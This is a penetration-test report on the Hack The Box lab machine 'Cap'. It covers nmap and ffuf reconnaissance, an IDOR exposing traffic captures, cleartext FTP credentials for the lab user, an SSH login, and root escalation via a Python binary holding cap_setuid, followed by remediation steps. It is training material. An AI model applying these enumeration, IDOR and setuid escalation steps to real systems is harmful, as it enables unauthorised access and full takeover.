# PENETRATION TEST REPORT: CAP (HACK THE BOX)

Date: February 3, 2026

Target IP: 10.129.17.141

Author: Kudriavtsev Oleksii / Security Consultant

Severity: CRITICAL

## 1. EXECUTIVE SUMMARY

During a scheduled security assessment of the target host 10.129.17.141 (Cap.htb), a full system compromise was achieved. The attack chain involved a critical Insecure Direct Object Reference (IDOR) vulnerability in the web application, which exposed sensitive network traffic data. Analyzing this data revealed cleartext credentials for a system user. Finally, a misconfiguration in Linux Capabilities allowed for an immediate escalation to root privileges.

## 2. TECHNICAL METHODOLOGY

### *2.1 enumeration & discovery*

The engagement began with a comprehensive port scan using nmap to identify the attack surface.

```
nmap -sC -sV 10.129.17.141
```

Findings:

• Port 21: FTP (vsftpd 3.0.3)

• Port 22: SSH (OpenSSH 8.2p1)

• Port 80: HTTP (Python/Gunicorn)

Directory fuzzing was performed using ffuf:

```
ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.129.17.141/FUZZ
```

Identified directories: /data, /ip, /netstat, /capture.

### *2.2 exploitation: web idor & credential harvesting*

Accessing /data/3 revealed downloadable PCAP files. Manipulating the ID to /data/0 returned a historical capture file containing global traffic.

Wireshark analysis revealed FTP credentials in cleartext:

Username: nathan

Password: Buck3tH4TFORM3!

### *2.3 foothold*

```
ssh nathan@10.129.17.141
```

Successful authentication granted access to the user flag.

### *2.4 privilege escalation: linux capabilities*

```
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep
```

Privilege escalation performed using Python:

```
/usr/bin/python3.8
>>> import os
>>> os.setuid(0)
>>> os.system('/bin/bash')
```

# 3. EVIDENCE

Figure 1: Nmap scan results. Figure 2: Ffuf output. Figure 3: Wireshark FTP credentials. Figure 4-5: SSH login and user flag. Figure 6: Root privilege escalation confirmation.

# 4. REMEDIATION RECOMMENDATIONS

## *4.1 fix insecure direct object reference (idor)*

Implement proper server-side authorization checks and restrict access to PCAP files.

## *4.2 enforce encrypted communications*

Replace FTP with SFTP or FTPS to prevent cleartext credential exposure.

## *4.3 principle of least privilege (capabilities)*

```
sudo setcap -r /usr/bin/python3.8
```

## *4.4 patch management*

Perform regular system updates (apt upgrade) to mitigate known vulnerabilities.